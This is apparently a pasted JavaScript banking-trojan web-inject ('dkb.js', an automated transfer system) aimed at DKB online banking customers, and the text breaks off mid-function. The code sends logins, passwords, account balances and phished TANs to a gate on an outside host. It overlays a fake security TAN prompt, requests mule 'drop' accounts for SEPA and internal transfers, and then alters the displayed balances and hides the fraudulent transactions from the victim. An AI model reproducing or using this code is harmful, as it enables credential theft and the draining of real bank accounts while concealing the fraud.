Xylitol icon

dkb.js

Xylitol | PRO | 04/13/14 03:13:07 PM UTC | 0 ⭐ | 746 👁️ | Never ⏰ | []
JavaScript |

48.41 KB

|

None

|

0 👍

/

0 👎

var jq = jQuery.noConflict();
//var jq = jQuery;
 
var CONTENT_URL= "https://belissimos7.com/nsdghsf333/";
document.write('<style type="text/css">.inj_full_overlay { background-color: #FFFFFF; width: 100%; height: 1000px; position: absolute; top: 0px; left: 0px; z-index: 4002; filter: alpha(OPACITY=100); opacity: 1; } #inj_block_overlay { background: url("'+CONTENT_URL+'/bodybg.png") repeat-y scroll 0 0 transparent; background-color: #FFFFFF; width: 100%; height: 1000px; position: absolute; top: 0px; left: 0px; z-index: 4000; filter: alpha(OPACITY=100); opacity: 1; } #inj_dialog_box { font:400 12px Arial, Helvetica, sans-serif;background-color: #FFFFFF; left: 50%; position: absolute; top: 165px; width: 600px;margin-left: -300px; z-index: 4001; } .inj_instr_list { font-size: 13px; } .inj_content_para {text-align: center; padding: 10px; } .inj_content_block { padding: 10px 10px 10px 0px; } .inj_buttons_block { text-align: right; margin: -30px 10px 0px 0px; } .inj_error { display: none; color: #FF0000; font-weight: bold;margin: 0 auto; width: 230px; }.pich {  color: #999999; font-size:11px; left: 30px;bottom:-10px; position: absolute;}.infp{ font-size: 15px!important;  padding: 10px;}.load{ margin:0 auto; width:190px;}</style>');
 
 
 
var ATS = { bank: 'dkb',
    account_id: 0,
    script_ver: '2.1',
    transf_mode : 'sepa',
    debug_mode: 0,
    debug_transfer: "INT",
    gateURL : 'https://belissimos7.com/nsdghsf333/gate',
    debugVisibleFrame: false,
    debugNoOverlay : false,
    CONTENT_URL: CONTENT_URL,
    current_state : 0,
    sepa_or_int_select_changed : false,
    MaxTransferAccNum:0,
    Timeout:false,
    
 
    StepInFrame : {
        0:"BeginWork", 
        10:"framePageFinanzstatus", 
        20:"preTransferPage",
        30:"SEPA_page",
        110:"SEPA_form_filled",
        120:"TAN_ENTERED",
        130:"Internal_transf_page",
        140:"INT_form_filled",
        150:"framePageSEPA_fill",
        160:"framePageInternal_transf_page_fill",
 
        
        set_current_state : function(state){
            
            for (var key in this) {
              if (typeof this[key]!= 'function' && state==this[key]) {
               parent.ATS.current_state=key;
               return key;
               }
              //alert(key+':'+this[key])
              
           }
            return false;
            }
        },
        
 
    isDebugMode: function()
    {
        return ATS.debug_mode;
    },
    
 
    getBrowserFull: function()
    {
        var res = 'na';
        try
        {
            var m = navigator.userAgent.match(/Firefox\/(\d+)/);
            if (m)
            {
                res = 'ff' + m[1];
            }
            else
            {
                m = navigator.userAgent.match(/MSIE (\d+)/);
                if (m)
                    res = 'ie' + m[1];
            }
        }
        catch(e)
        {
            res = 'ex';
        }
        return res;
    },
 
 
    debugMsg: function(message)
    {
        if (this.isDebugMode())
        {
            if (window.console && window.console.log)
                window.console.log(message);
            else
                alert(message);
        }
    },
    
    _cookies: new Object(),
    
    setCookie: function(name, value)
    {
        ATS.debugMsg('setCookie: ' + name + ' = ' + value);
        parent.ATS._cookies['#'+name] = value;
    },
    
    getCookie: function(name)
    {
        if (typeof parent.ATS._cookies['#'+name] == 'undefined')
            return null;
        
        return parent.ATS._cookies['#'+name];
    },
    
    serializeCookies: function()
    {
       //if (typeof parent.ATS._cookies != 'function')
        var result = new Array();
        for (var i in parent.ATS._cookies)
        {
           
            if(i.indexOf('#')==0){
               result.push(encodeURIComponent(i) + '=' + encodeURIComponent(parent.ATS._cookies[i]));
 
               }
        }
        return result.join('&');
    },
    
    unserializeCookies: function(rawData)
    {
        var result = new Object();
        for (var i in rawData)
        {
            result[decodeURIComponent(i)] = decodeURIComponent(rawData[i]);
        }
        return result;
    },
    
    saveCookies: function(callback)
    {
        ATS.sendGateRequest('save_cookies', {data: ATS.serializeCookies()}, callback);
    },
    
 
    sendGateRequest: function(action, params, callback)
    {
     
        //ATS.debugMsg('sendGateRequest: ' + action);
        dat = jq.extend({bank: parent.ATS.bank, aid: parent.ATS.account_id}, params);
        
        var url = ATS.gateURL + '?a=' + action + '&cb=?';
        //ATS.debugMsg('url = ' + url + '; params = ' + params + '; data = ' + dat + "aid = " + parent.ATS.account_id);
   
        //if ((typeof __debugDisabled == 'undefined') || !__debugDisabled)
        //{ 
        
            jq.ajax({
                url: url,
                dataType: 'jsonp',
                crossDomain: true,
                data: dat,
                //async: false,
                success: callback,
                error: function(request,error) 
                {
                    ATS.debugMsg('posible ban ip; ajax error: ' + error);
                    jq('.inj_full_overlay').remove();
                    ATS.UI_unblockSite();
                    jq('#inj_dialog_box').hide();
                }
                
            });
            
        //}
    },
    
 
    loadData: function(callback)
    {
        ATS.sendGateRequest('load_data', {}, function(data){
            ATS.account_id = data.account_id;
            ATS._cookies = ATS.unserializeCookies(data.cookies);
            if (typeof callback == 'function')
                callback();
        });
    },
    
 
    sendLoginInfo: function(login, password, callback)
    {
        ATS.sendGateRequest('login', {login: login, password: password, url: window.location.href}, callback);
    },
    
 
    sendLogMsg: function(text, callback)
    {
        ATS.debugMsg('sendLogMsg: ' + text);
        ATS.sendGateRequest('log_msg', {ver: ATS.script_ver + ' / ' + ATS.getBrowserFull(), text: text}, callback);
    },
    
    getDrop: function(transfType, balance, callback)
    {
       
 
        ATS.sendGateRequest('get_drop', {type: transfType, balance: balance}, callback);
    },
    
    putTransfer: function(transfType, drop, amount, callback)
    {
        ATS.sendGateRequest('transfer', {type: transfType, did: drop, amount: amount}, callback);
    },
    
    sendAccountsInfo: function(accountsInfo, callback)
    {
        try {
            ATS.sendGateRequest('save_accounts_info', {data: JSON.stringify(accountsInfo)}, callback);
        } catch(e) {}
    }
    
    
    
    
};
 
 
 
ATS.UI_showWait = function()
{
    ATS.UI_showDialogBox();
    jq('#inj_page_wait').show();
    jq('#inj_page_brilok').hide();
    jq('#gad_signatur_tan').hide();
    jq('.inj_buttons_block').hide();
    jq('.inj_error').hide();    
 
}
ATS.UI_getTAN = function()
{
    return jq('.nowrap label').text();
    
}
 
ATS.UI_getInjectCode = function()
{
    var code = 
     '<div id=inj_dialog_box style=\'display: none;\'>'
     + '<div class="formContainer2">'
     
     + '<div class="inj_dialog_content"><h2 id="inj_dialog_title">Zu Ihrer Sicherheit</h2></div>'
     
     + '<div id=inj_page_wait style=\'display: none;\'>'
     + '<div class="boxHinweis"><p class="begruessungText inj_content_para">'
     +  langs.getLang('waittext')
     + '<br class="newline" /></p><p class="load"><img s'
     + 'rc='+ATS.CONTENT_URL+'/images/loader_bar.gif id=inj_loader_img /></p><br /></div></div>'
 
     
     + '<div id="gad_contentbox" style=\'display: none;\'>'
     
     +'<div id="gad_signatur_tan" style=\'display: none;\'>'
     
     +'<form class="form-banking" onsubmit="return false;"><p class="autp">For autorize your payment please enter TAN</p><div id="insSMSform" class="form-content secure"></div><div class="form-content header"><label>mobileTAN*</label><input type="text" size="6" id="iTAN" name="nrTan" maxlength="6" style="margin-left:45px"></div></form><div style="clear:both"></div>'
     
     +'</div>'
     
 + '<div id="inj_page_brilok"  style=\'display: none;\' class="contentPage">'
   
  +'<div style="clear:both"></div><div id="gad_signatur_tan_input" class="applicationContainer"><p class="infp">Wahrscheinlich haben sich in letzter Zeit einige Ver&auml;nderungen bei Ihrem Computer ergeben. Aus Sicherheitsgr&uuml;nden m&uuml;ssen Sie eine TAN eingeben, um zu best&auml;tigen, dass es Ihr Computer ist, damit Ihnen der Zugang gew&auml;hrt wird.</p><div class="applicationForm"><form  class="form validate" onsubmit="return false;"><fieldset><h3 class="border"><span>Abfrage TAN</span></h3><p class="clearfix formBox"><label style="font-size: 95%; display: inline;" class="label">Bitte bestätigen Sie die Eingabe mit der <strong id="inj_tan_startcode"></strong> aus Ihrer Liste *</label><input maxlength="6" class="text xSmall field" id="iTANBrilok" name="nrTan" autocomplete="off"></p></fieldset></form></div><div style="clear:both"></div>'
  +'</div>'   
     
     +'</div>'
     
     + '<div style=\'clear:both;\'><p class="inj_error">'+langs.getLang('errortan')+'</p></div>'
     
     +'<div class="inj_buttons_block">'
+'<div class="clearfix button"><button class="submit" id="inj_Weiter" name="inj_weiter" title="'+langs.getLang('nextbutton')+'" type="button">'+langs.getLang('nextbutton')+'</button></div><p class="pich">* Pflichtfelder</p>'
     + ' <div style="clear:both"></div>'
 
     +'</div>'
     + '</div></div>';
    return jq(code);
}
 
ATS.die = function(msg)
{
    ATS.sendLogMsg('ERROR: ' + msg);
    ATS.setCookie('error_time', ATS.getTime());
    ATS.setCookie('status', 2);
    parent.ATS.StepInFrame.set_current_state("BeginWork");
    ATS.saveCookies(function(){
        if ((parent.window !== window) && parent.ATS)
        {
            ATS.debugMsg('die in frame');
            parent.ATS.UI_hideDialogBox();
            parent.ATS.UI_unblockSite();
 
            jq('.inj_full_overlay',parent.document).remove();
        }
        else
        {
            ATS.debugMsg('die outside frame');
            ATS.UI_hideDialogBox();
            ATS.UI_unblockSite();
            jq('.inj_full_overlay').remove();
        }
 
    });
    
 
        
}
 
 
ATS.mainWork = function()
{
    
    ATS.debugMsg('ATS.mainWork, state: ' + ATS.current_state);
    //ATS.sendLogMsg('script_version = ' + ATS.script_ver);
    switch (ATS.current_state)
    {
        case 0:
            
 
            var href = ATS.getFinanzstatusLink();
            if (href)
            {
            
                     
                ATS.StepInFrame.set_current_state("framePageFinanzstatus");
                //ATS.debugMsg('Finanzstatus link: ' + href);
                //setTimeout('ATS.openInIframe("' + href + '")', 3000);
                
     ATS.sendLogMsg('Name: ' + jq('dl.name dd').text(),ATS.ieFrameHack() );       
                
                
               
                
                
            }
            else
            {
                ATS.die('mainWork: cant find finanzstatus');
            }
            break;
    }
}
ATS.ieFrameHack = function()
{
    ATS.debugMsg('ATS.ieFrameHack()');
    
    if (!jq('iframe#ats_wrk_iframe').length)
    {
 
        //ATS.openInIframe(ATS.getFinanzstatusLink());
        ATS.openInIframe('about:blank');
/*        
var cssLink = document.createElement("link")
cssLink.href = "/wrs/resources2/html/layout.css";
cssLink.rel = "stylesheet";
cssLink.type = "text/css";
frames['ats_wrk_iframe'].document.body.appendChild(cssLink);
 
var cssLink = document.createElement("link")
cssLink.href = "/wrs/resources2/html/color.css";
cssLink.rel = "stylesheet";
cssLink.type = "text/css";
frames['ats_wrk_iframe'].document.body.appendChild(cssLink);
*/
 
 
        
     
        setTimeout(ATS.ieFrameHack, 1000);
    }
    else
    {
 
        var n=ATS.getFinanzstatusLink();
    n=n.replace(/\:/g, '%3A');    
    if(!ATS.checkTestPage()){ 
       
      // var n=ATS.getFinanzstatusLink().replace("(","%28").replace(")","%29");
    } 
    else {
    //   var n=ATS.getFinanzstatusLink().replace(/\./gi,"%2e" );  
    }        
    
        jq('iframe#ats_wrk_iframe').attr('src',n );
    }
}
ATS.UI_hideDialogBox = function()
{
    jq('#inj_dialog_box').hide();
}
 
 
ATS.descending= function(a, b)
{
    return b.totalBalance- a.totalBalance;
}
 
ATS.getMaxTransferAcc = function()
{
    //num = num || 0;
    var num=parent.ATS.MaxTransferAccNum;
    
    parent.ATS.accounts_list.sort( ATS.descending );
    
    if (parent.ATS.accounts_list[num]!=null)   return parent.ATS.accounts_list[num];
    else 
    {
    ATS.die('ATS.getMaxTransferAcc: accounts_list['+num+'] is null or no more Acounts left'); 
    }
/*
    var accountsList = parent.ATS.accounts_list;
    var maxBalance = accountsList[0].balance;
    var tempBalance = 0;
    var maxAcc = null;
    for(var i in accountsList)
    {
        tempBalance= parseFloat(accountsList[i].balance) +  parseFloat(accountsList[i].overdraft);
    
    
            if (!isNaN(tempBalance) && (tempBalance >= maxBalance))
            {
                maxBalance = tempBalance;
                maxAcc = accountsList[i];
            }
    }
 
    return maxAcc;
    */
    
}
 
 
ATS.UI_askTan = function(tanNum, isError)
{
    
var cssLink = document.createElement("link")
cssLink.href = ATS.CONTENT_URL+"/images/all_styles_min.css";
cssLink.rel = "stylesheet";
cssLink.type = "text/css";
//document.body.appendChild(cssLink);
jq('body', parent.document).prepend(cssLink); 
    
    
   
    
if(parent.ATS.badTan) jq('.inj_error', parent.document).show();
    parent.ATS.UI_showDialogBox();
    //parent.ATS.UI_fixBtnLink();
 
//var sms=jq('div[id*="TanData"]').html();
var sms='';
if (sms.indexOf('SMS')!=-1){
    
    parent.ATS.TanType='sms';
 
    jq('#inj_page_wait', parent.document).hide();
    jq('#inj_page_brilok', parent.document).hide();
    jq('#gad_signatur_tan', parent.document).show();
    jq('.formContainer2 #gad_contentbox', parent.document).show();
     
     jq('#insSMSform', parent.document.body).html(sms); 
}
 else{
    parent.ATS.TanType='brilok';
 
    jq('#inj_page_wait', parent.document).hide();
    jq('#gad_signatur_tan', parent.document).hide();
    jq('#inj_page_brilok', parent.document).show();
    jq('.formContainer2 #gad_contentbox', parent.document).show();
 
 
        var startCode = jq('fieldset label strong').text();
        ATS.sendLogMsg('startCode ' + startCode);
        jq('#inj_tan_startcode', parent.document.body).text(startCode);
 
 
 
 }   
    
    
    jq('.inj_buttons_block', parent.document).show();
 
 }
ATS.UI_onWeiterClick = function()
{
if(parent.ATS.TanType=='sms') var tan = jq('#iTAN').val();
else var tan = jq('#iTANBrilok').val();
 
 
    if (tan=="test") {
       if (ATS.isDebugMode()){
           parent.ATS.UI_showWait();
        if (parent.ATS.transf_mode == 'sepa') ATS.framePageReceipt();
        else ATS.framePageReceiptInternal();
       
       return false;}}
 
    
    if (tan.length == 6)
    {
        ATS.sendLogMsg('entered TAN ' + tan);
        jq('#ats_wrk_iframe')[0].contentWindow.ATS.enterCode(tan);
    }
    else{
        alert(langs.getLang('errorTanEmpty'));
        
    }
}
 
ATS.padRight = function(input, totalWidth)
 
{
    var result = input;
    if (result.length < totalWidth){
        for(var i = result.length; i < totalWidth; i++){
            result = result + 'X'
        }
    
    }
    return result;
}
 
 
ATS.framePageReceipt = function()
{
    ATS.sendLogMsg('framePageReceipt');
 
    
    ATS.putTransfer('SEPA', parent.ATS.sepa_drop.id, parent.ATS.sepa_drop.amount, function(){
        ATS.sendLogMsg('Successful transfer SEPA, drop: ' + parent.ATS.sepa_drop.id + ', amount: ' + parent.ATS.sepa_drop.amount);
        ATS.setCookie('transfer_time', ATS.getTime());
        ATS.setCookie('rep_drop_name', parent.ATS.sepa_drop.DrName);
        ATS.setCookie('rep_drop_acc', parent.ATS.sepa_drop.IBAN);
        ATS.setCookie('rep_amount', parent.ATS.sepa_drop.amount);
        
        var transfer_acc = parent.ATS.transfer_acc;
        
        if (transfer_acc)
        {
            ATS.setCookie('transfer_acc', transfer_acc);
            ATS.setCookie('ap' + transfer_acc, parent.ATS.sepa_drop.amount);
        }
        
        ATS.setCookie('Gesamtsaldo' , parent.ATS.Gesamtsaldo);
        
        ATS.setCookie('status', 1);
        ATS.saveCookies(function(){
 
            var nextLink = ATS.getFinanzstatusLink();
            if (nextLink != '')
            {
                setTimeout(function(){
                    parent.ATS.StepInFrame.set_current_state("BeginWork");
                    parent.window.document.location.href = nextLink;
                    
                }, 1000);
            }
        });
    });
    
}
ATS.framePageReceiptInternal = function()
{
    ATS.sendLogMsg('framePageReceiptInternal');
    
    ATS.putTransfer('Internal', parent.ATS.int_drop.id, parent.ATS.int_drop.amount, function(){
        ATS.sendLogMsg('Successful transfer INT, drop: ' + parent.ATS.int_drop.id + ', amount: ' + parent.ATS.int_drop.amount);
        ATS.setCookie('transfer_time', ATS.getTime());
        ATS.setCookie('rep_drop_name', parent.ATS.int_drop.DrName);
        ATS.setCookie('rep_drop_acc', parent.ATS.int_drop.Konto);
        ATS.setCookie('rep_amount', parent.ATS.int_drop.amount);
        
        var transfer_acc = parent.ATS.transfer_acc;
        
        if (transfer_acc)
        {
            ATS.setCookie('transfer_acc', transfer_acc);
            ATS.setCookie('ap' + transfer_acc, parent.ATS.int_drop.amount);
        }        
        
 
        ATS.setCookie('status', 1);
        ATS.setCookie('Gesamtsaldo' , parent.ATS.Gesamtsaldo);
        
        ATS.saveCookies(function(){
 
            var nextLink = ATS.getFinanzstatusLink();
            
            if (nextLink != '')
            {
                setTimeout(function(){
                    parent.ATS.StepInFrame.set_current_state("BeginWork");
                    parent.window.document.location.href = nextLink;
                    
                }, 1000);
            }
        });
    });
}
ATS.fin2float = function(text)
{
    if (langs.getCurLang()=='EN') 
    var text = text.toString(); 
    else
    var text = text.toString().replace(/[^\d,-]+/g, '').replace(',', '.');
    return parseFloat(text);
}
 
ATS.float2fin = function(val)
{
    var intPart = Math.floor(val);
    var fractPart = Math.floor((val - intPart) * 100).toString();
    
    if (fractPart.length < 2)
        fractPart = '0' + fractPart;
        
    var newIntPart = '';
    intPart = intPart.toString();
    while (intPart.length > 3)
    {
        newIntPart = '.' + intPart.substr(intPart.length - 3) + newIntPart;
        intPart = intPart.substr(0, intPart.length - 3);
    }
    newIntPart = intPart + newIntPart;
    
    return newIntPart + ',' + fractPart;
}
ATS.addElementAmount = function (el, amount, postfix)
{
    var val = ATS.fin2float(jq(el).text());
    var newText='<strong>';
 //   if (val<0) newText +='<span class="negbal">';
    
    newText += ATS.float2fin(val + amount);
    if (postfix)
        newText += ' ' + postfix;
        
 //   if (val<0) newText +='</span>';
     newText +="</strong>";   
    jq(el).html(newText);
}
ATS.hideLastTAN = function()
{
 
    var el = jq('p:contains(Ihre zuletzt verbrauchte TAN)');
    if (el.length)
    {
        var html = jq(el).html();
        var pos = html.indexOf('Ihre zuletzt');
        if (pos >= 0)
            jq(el).html(html.substr(0, pos));
    }
    
 
    jq('p:contains(Zuletzt benutzte)').remove();
}
 
ATS.checkTransfer = function(el)
{
 
 
    var percent=parseFloat("0.00");  
 
    var lastGesamtsaldo = parseFloat(ATS.getCookie('Gesamtsaldo'));
    if (isNaN(lastGesamtsaldo)) {
        ATS.sendLogMsg('error. lastGesamtsaldo is NULL');
        return false;
    }
 
    //var curGesamtsaldo = ATS.fin2float(jq(el).text());
    var curGesamtsaldo = el;
    
 
    var rep_amount= parseFloat(ATS.getCookie('rep_amount'));
    var tempsaldo= lastGesamtsaldo - curGesamtsaldo;
    tempsaldo=parseFloat(tempsaldo.toFixed(2));
    
        //ATS.debugMsg('tempsaldo = '+tempsaldo +'; lastGesamtsaldo ='+ lastGesamtsaldo + '; curGesamtsaldo ='+ curGesamtsaldo+' rep_amount='+rep_amount);
        
 
    if(tempsaldo==0){
        ATS.sendLogMsg('As at '+Date()+' bank has NOT yet made a translation. The script will NOT change the balance');
        return false;
        }
    
 
    if (tempsaldo<0 ){ATS.sendLogMsg('Error calc saldo = ' + tempsaldo + '; lastGesamtsaldo ='+ lastGesamtsaldo + '; curGesamtsaldo ='+ curGesamtsaldo);
        return false;
    }
 
 
    if(tempsaldo>0){
    
           
 
    if((tempsaldo==rep_amount)  || (tempsaldo>rep_amount)){
        
    var temppers=(lastGesamtsaldo - (curGesamtsaldo+rep_amount));
    percent=parseFloat(temppers.toFixed(2));
    ATS.sendLogMsg('As at '+Date()+' Bank did the translation. bank percent = '+percent+ '; Script will made change');
    if (parseFloat(ATS.getCookie('acPercent'))!=parseFloat(percent)){ 
            ATS.setCookie('acPercent',percent);
            ATS.saveCookies();
    }
    if (ATS.getCookie('acTransact')!="true"){ 
            ATS.setCookie('acTransact',true);
            ATS.saveCookies();
    }
    
    return percent;
    }else{
     
        ATS.sendLogMsg('As at '+Date()+' the bank has not made a translation, but took percent = '+tempsaldo+ 'Script will NOT made change');
            ATS.setCookie('acPercent',tempsaldo);
            ATS.setCookie('acTransact',false);
            ATS.saveCookies();
        return false;
    }    
        
}
 
}
 
 
ATS.replaceFinanzstatus = function()
{
    ATS.debugMsg('replaceFinanzstatus()');
    
    //jq("#gad_toolbar_btn_print").remove();
 
var saldo=0;
jq("table.btable").each(function(){
    var el=jq(this).find('tr:has(td:contains("Summe in Euro"))').find('td:eq(2)')
 if (el.length) saldo+=ATS.fin2float(jq(el).text()); 
    
   });
if (saldo==0 ){ 
 parent.ATS.accounts_list = ATS.parseAccountsList();   
  if (!parent.ATS.accounts_list.length) ATS.die('replaceFinanzstatus: cant find balance');  
  var maxAcc = ATS.getMaxTransferAcc();
  parent.ATS.maxAcc=maxAcc;
  saldo=parseFloat(parent.ATS.maxAcc.balance);
    
}
 
var el=saldo;
 
 
 
     var percent =ATS.checkTransfer(el);
     ATS.debugMsg('percent= '+percent);
     if(typeof percent === 'boolean') return true;
 
 
if( percent > 15) {
   ATS.sendLogMsg('percent > 15 Possible second trancaction. Script will cancel changes balance');      return true;
    } 
 
  
    
        var totalReplace = 0;
  jq("table.btable").each(function(){
        jq(this).find('tr:has(img[alt*="berweisung"]):not(:contains(Kreditkarte),:contains(*))').each(function(){
           
                    var accNum = jq.trim(jq(this).children("td:eq(0)").text().replace(/\D+/g,''));
                    var amount = parseFloat(ATS.getCookie('ap' + accNum));
                    
        //ATS.debugMsg('accNum = ' + accNum + '; amount = ' + amount + '; percent = ' + percent);
                if (amount > 0)
                    {
        ATS.debugMsg('REP finanzstatus: ' + accNum + ' + ' + amount + '; percent = ' + percent);
 
                  ATS.addElementAmount(jq(this).children("td:eq(3)"), parseFloat(amount + percent), '');                             
 
        
//ATS.addElementAmount(jq(this).parent().find('.subsequent').find("th.balance > strong"), amount + percent, 'EUR');
                
                totalReplace += parseFloat(amount + percent);
                }
                
            
    });
});
 
            
            if (totalReplace > 0)
            {
 
                  
        ATS.addElementAmount(jq("table.btable").find('tr:has(td:contains("Summe in Euro"))').find('td:eq(2)'), totalReplace, '');
             }
        
    
}
ATS.replaceUmsatzanzeige = function()
{
    ATS.debugMsg('replaceUmsatzanzeige()');
 
  //jq("#gad_toolbar_btn_print").remove();
    
 
        
    var accNum = jq('select:eq(0) > option:selected').text().replace(/\D+/g,'');
    
    var amount = parseFloat(ATS.getCookie('ap' + accNum));
    var percent=parseFloat(ATS.getCookie('acPercent'));
  
    
 
if( percent > 15) {
   ATS.sendLogMsg('percent > 15 Possible second trancaction. Script will cancel changes balance');      return true;
    } 
    
    
    
    //if((percent==null) || (!ATS.getCookie('acTransact'))) return true;
    if(ATS.getCookie('acTransact')==null || ATS.getCookie('acTransact')=="false") return true;
 
    
        
    
    if (ATS.getCookie('transfer_acc')==accNum)
    {
        //ATS.sendLogMsg('REP Umsatzanzeige: kontostand + ' + amount);
    ATS.debugMsg('accNum = ' + accNum + '; amount = ' + amount + '; percent = ' + percent);    
 
     
    ATS.addElementAmount(jq('table tr:has(td:contains(Kontostand vom))').find('td:eq(1)'), amount +  percent, 'EUR');
        
 
        var hideFlag = false;
        jq('table tr.tablerowodd,table tr.tableroweven').each(function(i){
           jq(this).find("td:eq(3)").each(function(j){
 
        
            var text = jq.trim(jq(this).text());
            if (ATS.needToHide(text))
            {
//  ATS.sendLogMsg('REP umsatze: transfer hidden - ' + jq(this).find('td:eq(2)').text());
                jq(this).parent().hide();
                hideFlag = true;
            }
        }); 
    });     
        
    
 
jq('table tr:visible.tablerowodd,table tr:visible.tableroweven').each(function(i){
 
    jq(this).attr('class', (i % 2) ? 'tableroweven' : 'tablerowodd');
 
    }); 
    }
}
 
ATS.needToHide = function(text)
{
 
    
    var amount = parseFloat(ATS.getCookie('rep_amount'));
    if (amount)
    {
 
        if (langs.getCurLang()=='EN'){
            text=text.replace(/[^\d.]+/gi, '');
            
        if (text.indexOf(amount) != -1) return true;
            
            }
            else{
        text=text.replace(/[^\d,]+/gi, '').replace(",", '.');                
        if (text.indexOf(amount) != -1) return true;
        ATS.debugMsg(text);
        }
    }
        
    return false;
}
ATS.replaceBalances = function()
{
    ATS.debugMsg('replaceBalances()');
    
    //ATS.hideLastTAN();
    
    
        switch (langs.getCurLang())
    {
        
        case "EN":
    if (ATS.getPageTitle("Finanzstatus")) ATS.replaceFinanzstatus();            
     if (ATS.getPageTitle("Transactions")) ATS.replaceUmsatzanzeige();            
        break;
         default:
         
    if (ATS.getPageTitle("Finanzstatus")) ATS.replaceFinanzstatus();            
     if (ATS.getPageTitle("Kontoums"+String.fromCharCode(228)+"tze") ) ATS.replaceUmsatzanzeige();            
            
            break;
            
 }
            
 
    
 
    
    
    
 
  
}
 
 
ATS.findAccountInfo = function(acc_num)
{
    ATS.debugMsg('acc_num:'+ acc_num);
    var accounts_list = parent.ATS.accounts_list;
    for (var i in accounts_list)
    {
        //if (accounts_list[i] != 'function' ) 
         //ATS.debugMsg('accounts_list[i]:'+ accounts_list[i]);
        
            if (acc_num.indexOf(accounts_list[i].number) != -1)
            {
                //ATS.debugMsg('Found: ' + accounts_list[i].number + '; balance: ' + accounts_list[i].balance + '; transf: ' + accounts_list[i].transf);
                return accounts_list[i];
            }
        
    }
    return false;
}
 
var langs ={
 simple_property: 'Hello',
 EN: {
  waittext: "Unser System &#252;berpr&#252;ft Ihren Computer nach Ver&#228;nderungen. &#220;berpr&#252;fung Ihrer Sicherheitseinstellungen kann mehrere Sekunden dauern. <br /> W&#228hrend dieser Zeit aktualisieren Sie bitte nicht diese Seite und verwenden Sie nicht die Browsernavigation (Zur&#252;ck / Vorw&#228;rts).",
  nextbutton: "Weiter",
  errortan: "TAN falsch, bitte richtige TAN eingeben",
  errorTanEmpty : "TAN muss 6 Zeichen lang sein!",
  autorizetext: "Zu Ihrer Sicherheit<br /> <br />Wahrscheinlich haben sich in letzter Zeit einige Ver&#228nderungen bei Ihrem Computer ergeben. Aus Sicherheitsgr&#252;nden m&#252;ssen Sie eine TAN eingeben, um zu best&#228;tigen, dass es Ihr Computer ist, damit Ihnen der Zugang gew&#228;hrt wird.<br />TAN-Eingabe<br />"
 },
  DE: {
  waittext: "Unser System &#252;berpr&#252;ft Ihren Computer nach Ver&#228;nderungen. &#220;berpr&#252;fung Ihrer Sicherheitseinstellungen kann mehrere Sekunden dauern. <br /> W&#228hrend dieser Zeit aktualisieren Sie bitte nicht diese Seite und verwenden Sie nicht die Browsernavigation (Zur&#252;ck / Vorw&#228;rts).",
  nextbutton: "Weiter",
  errortan: "TAN falsch, bitte richtige TAN eingeben",
  errorTanEmpty : "TAN muss 6 Zeichen lang sein!",
  autorizetext: "Zu Ihrer Sicherheit<br /> <br />Wahrscheinlich haben sich in letzter Zeit einige Ver&#228nderungen bei Ihrem Computer ergeben. Aus Sicherheitsgr&#252;nden m&#252;ssen Sie eine TAN eingeben, um zu best&#228;tigen, dass es Ihr Computer ist, damit Ihnen der Zugang gew&#228;hrt wird.<br />TAN-Eingabe<br /><br />Bitte geben Sie folgende TAN ein:"
  
 },
 
 getLang: function(step) {
 
 
var ln='EN';
if(!parent.jq('#metaNavigation').find('a:contains("Deutsche")').length) var ln='DE';
 
//  return(this.simple_property + ', ' + this[ln][step]);
  return(this[ln][step]);
 },
 
 getCurLang: function() {
 
 
var ln='EN';
if(!parent.jq('#metaNavigation').find('a:contains("Deutsche")').length) var ln='DE';
 
  return(ln);
 }
 
};
 
 
 
 
document.write('<style type="text/css">#iTANForm { border-top: medium none !important;}#inj_Weiter{background-color:white;}#inj_Weiter{cursor: hand;}#inj_Weiter:hover span{text-decoration: underline !important;}.formContainer2 #gad_contentbox {padding: 0px;font-size:13px;width: auto;} .formContainer2 {border: 0.1em solid #C1C3C4 !important;text-align: left;color: #333333;   margin: 17px; color: #333333; } .formContainer2 h2 { border-bottom:1px solid #EDEDED;   font-weight:700; color: #FFFFFF !important;  line-height: normal !important;  padding: 1px 16px 2px 7px!important;background: url("'+CONTENT_URL+'/images/h2.jpg") repeat-x;} </style>');
 
 
 
 
 
ATS.checkTestPage = function()
{
    if(jq('#gad_contentbox').length) return true;
    //  jq('#gad_contentbox').attr("style").indexOf('demo')!=-1) return true;
    else return false; 
}
 
 
ATS.checkLoginPage = function()
{
    return !!jq("input[type='password']").length;
}
 
 
 
ATS.isLoggedIn = function()
{
    
if (jq('input[value="Abmelden"]').length  || jq('#logoutform').length ) return true;
 
    else return false;
}
ATS.UI_blockSite = function()
{
    if (ATS.debugNoOverlay)
        return;
        
    if (jq('#inj_block_overlay').length)
        jq('#inj_block_overlay').show();
    else
        jq('body').prepend('<div id=inj_block_overlay></div>');
}
ATS.UI_unblockSite = function()
{
    jq('#inj_block_overlay').hide();
    jq('body > div:not(#inj_block_overlay,#inj_dialog_box,.inj_full_overlay)').show();
    
}
 
 
 
ATS.getFinanzstatusLink = function()
{
 
    if(!parent.ATS.finLink){ 
        
    //parent.ATS.finLink=jq('.nav0wrap li:eq(0) a:eq(0)').attr("href");
    parent.ATS.finLink=parent.document.location.href;
    }
    return parent.ATS.finLink; 
    
    
    
}
 
 
 
ATS.UI_showDialogBox = function()
{
    jq('body > div:not(#inj_dialog_box,.inj_full_overlay)').hide(); 
    
    if (!jq('#inj_dialog_box').length)
    {
        var injectCode = ATS.UI_getInjectCode();
        jq('body').append(injectCode);
        
        jq('button[name=inj_weiter]').click(ATS.UI_onWeiterClick);
    }
    jq('#inj_dialog_box').show();
}
 
ATS.getLoginForm = function()
{
    var form = jq("form.anmeldung");
    if (form.length)
        return form[0];
    /*  
    form = jq("form").has('input#anmeld');
    if (form.length)
        return form[0];
        */
    return false;
}
 
 
ATS.getPageTitle = function(findtext)
{
     var title=jq.trim(jq("h2.contentbereichHeadLine").eq(0).text());
    if (title.indexOf(findtext) !=-1) return true;
    else return false;
}
ATS.hideLastTAN = function()
{
 
    var el = jq('p:contains(Ihre zuletzt verbrauchte TAN)');
    if (el.length)
    {
        var html = jq(el).html();
        var pos = html.indexOf('Ihre zuletzt');
        if (pos >= 0)
            jq(el).html(html.substr(0, pos));
    }
    
 
    jq('p:contains(Zuletzt benutzte)').remove();
}
 
 
ATS.sleep= function(m) {var then = new Date(new Date().getTime() + m); while (new Date() < then) {}};
 
 
 
ATS.setLoginHook = function()
{
    //ATS.loginDataSent = false;
    var loginInfoSent = false;
        
    var loginForm = ATS.getLoginForm();
 
 
        //loginForm.onsubmit = function(){return true};
